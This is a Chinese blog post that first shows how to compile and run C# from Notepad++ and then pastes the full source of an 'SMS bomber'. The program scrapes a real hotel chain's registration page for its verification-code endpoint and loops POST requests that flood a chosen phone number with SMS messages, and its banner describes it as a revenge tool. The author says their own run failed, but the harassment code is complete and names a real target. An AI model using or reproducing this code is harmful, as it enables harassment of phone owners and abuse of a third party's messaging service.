码迷,mamicode.com
首页 > Windows程序 > 详细

使用NotePad++ 运行轻量级的C#代码

时间:2014-11-04 17:16:46      阅读:203      评论:0      收藏:0      [点我收藏+]

标签:http   io   color   ar   os   使用   java   for   sp   

在notepad++中新建文件hello.cs,F5运行,配置命令行
 
cmd /K C:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:$(FULL_CURRENT_PATH).exe $(FULL_CURRENT_PATH) && $(FULL_CURRENT_PATH).exe  
 
原文网址:http://www.2cto.com/kf/201303/193122.html
 
我运行的一段失败的短信轰炸代码(C#)顺便贴出来。 代码原作者:http://aigudao.net/?post=154 crazyk(腾讯微博名)
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Web;
using System.Net;
//using System.Runtime.Serialization.Json;
using System.Threading;
using System.Text.RegularExpressions;

namespace 短信轰炸
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.Title = "短信轰炸器 by 草木の灰";
            Console.ForegroundColor = ConsoleColor.Green;
            Console.WriteLine("=============================");
            Console.WriteLine("= 娱乐报复利器,请谨慎使用  =");
            Console.WriteLine("=    http://aigudao.net     =");
            Console.WriteLine("=============================");

            string num=string.Empty;
            int count=0;

            if (args.Length==1)
            {
                Console.WriteLine("参数个数不正确,使用格式为:xxx.exe 目标电话 轰炸次数,如:短信轰炸.exe 13800138000 20");
                Console.WriteLine("任意键退出..");
                Console.ReadKey();
            }
            else if (args.Length==2)
            {
                num = args[0];
                int.TryParse(Console.ReadLine(), out count);
            }
            else
            {
                Console.Write("被炸号码:");
                num= Console.ReadLine();
                Console.Write("轰炸次数:");
                while (!int.TryParse(Console.ReadLine(), out count))
                {
                    Console.WriteLine("请输入数字!");
                    Console.SetCursorPosition(0,5);
                    Console.Write("轰炸次数:");
                }
            }
            int success = 0;
            int fail = 0;
            bool isBreak = false;
            Console.WriteLine("==开始轰炸,按Enter提前结束==");
            //Console.WriteLine("");
            Console.WriteLine("当前进度0%");
            ConsoleColor backcolor = Console.BackgroundColor;
            ConsoleColor foregcolor = Console.ForegroundColor;
            Console.BackgroundColor = ConsoleColor.White;
            for (int i = 1; i < 20; i++)
            {
                Console.Write(" ");
            }
            Console.WriteLine(" ");

            CookieContainer cookie = new CookieContainer();
            string posturl = string.Empty;
            HttpWebRequest getcookie = (HttpWebRequest)HttpWebRequest.Create(new Uri("http://www.htinns.com/Register.aspx"));
            getcookie.Accept = "text/html, application/xhtml+xml, */*";
            getcookie.Headers.Add("Accept-Language", "en-US,en;q=0.8,zh-Hans-CN;q=0.5,zh-Hans;q=0.3");
            getcookie.UserAgent = "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)";
            getcookie.Headers.Add("Accept-Encoding", "gzip, deflate");
            getcookie.Headers.Add("DNT", "1");
            getcookie.KeepAlive = true;
            getcookie.Method = "GET";
            getcookie.ServicePoint.Expect100Continue = false;
            getcookie.AutomaticDecompression = DecompressionMethods.Deflate | DecompressionMethods.GZip;

            HttpWebResponse rescookie = (HttpWebResponse)getcookie.GetResponse();
            if (rescookie.StatusCode.ToString() == "OK")
            {
                //cookie = rescookie.Cookies;
                StreamReader sfr = new StreamReader(rescookie.GetResponseStream(), Encoding.UTF8);
                string content = sfr.ReadToEnd();
                sfr.Close();
                Regex re = new Regex(@"<script\stype=""text/javascript""\ssrc=""(?<posturl>/.+?mobileSendvCode,\w+?\.ashx)"">.*?</script>", RegexOptions.IgnoreCase);
                Match mc = re.Match(content);
                if (mc.Success)
                {
                    GroupCollection gc = mc.Groups;
                    posturl = gc["posturl"].Value;
                    //Console.WriteLine("匹配成功,地址为{0}", posturl);
                }
                else
                {
                    Console.WriteLine("匹配ashx失败,退出");
                    //continue;
                    return;
                }
            }
            rescookie.Close();

            //<script type="text/javascript" src="/ajaxpro/control_inc_mobileSendvCode,App_Web_ocme5rdg.ashx"></script>
            for (int i = 1; i <=count;i++ )
            {
                if (Console.KeyAvailable && System.Console.ReadKey(true).Key == ConsoleKey.Enter)
                {
                    isBreak = true;
                    break;
                } 

                HttpWebRequest web = (HttpWebRequest)HttpWebRequest.Create(new Uri("http://www.htinns.com"+posturl));
                web.Method = "POST";
                web.Accept = "*/*";
                web.ContentType = "text/plain; charset=utf-8";
                web.Referer = "http://www.htinns.com/Register.aspx";
                web.Headers.Add("X-AjaxPro-Method", "SendVCodeByPhone");
                web.Headers.Add("Accept-Language", "en-US,en;q=0.8,zh-Hans-CN;q=0.5,zh-Hans;q=0.3");
                web.Headers.Add("Accept-Encoding", "gzip, deflate");
                web.UserAgent = "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)";
                //web.Host = "www.htinns.com";
                web.Headers.Add("DNT", "1");
                web.KeepAlive = true;
                web.Headers.Add("Pragma", "no-cache");
                web.CookieContainer = cookie;
                //web.Headers.Add("Cookie", "__utma=8164269.667980901.1364286103.1364293236.1364359244.4; __utmb=8164269.2.9.1364359244; __utmz=8164269.1364286103.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); Hm_lvt_e5770a47472445b3f839a58a32b8abe5=1364286103,1364289503,1364359244; __utmc=8164269; Hm_lpvt_e5770a47472445b3f839a58a32b8abe5=1364359244; ASP.NET_SessionId=e2gxv0bcrxmnpd2avup1wosg");
                web.ServicePoint.Expect100Continue = false;

                string postdata = "{\"phoneCode\":\"" + num + "\",\"aTaskKey\":\"" + DateTime.Now.ToString("HH:mm:ss") + "\"}";
                byte[] bydata = Encoding.ASCII.GetBytes(postdata);
                web.ContentLength = postdata.Length;
                Stream sr = web.GetRequestStream();
                sr.Write(bydata, 0, bydata.Length);
                sr.Close();
                HttpWebResponse response = (HttpWebResponse)web.GetResponse();
                if (response.StatusCode.ToString() == "OK")
                {
                    success++;
                    //Console.WriteLine("发送成功");
                }
                else
                {
                    fail++;
                    //Console.WriteLine("发送失败");
                }
                response.Close();
                Console.BackgroundColor = ConsoleColor.Green;
                for (int j = 0; j < i * 20 / count;j++ )
                {
                    Console.SetCursorPosition(j, 8);
                    Console.Write(" ");
                }
                Console.BackgroundColor = backcolor;
                Console.SetCursorPosition(0, 7);
                Console.WriteLine("当前进度{0:N0}%",(float)i/count*100);
                Thread.Sleep(5000);
            }
            Console.WriteLine(isBreak? "中止轰炸,成功{0}次,失败{1}次":"轰炸完成!成功{0}次,失败{1}次",success,fail);
            Console.WriteLine("任意键退出...");
            Console.ReadKey();
        }
    }
}

使用NotePad++ 运行轻量级的C#代码

标签:http   io   color   ar   os   使用   java   for   sp   

原文地址:http://www.cnblogs.com/yonllx/p/4073810.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!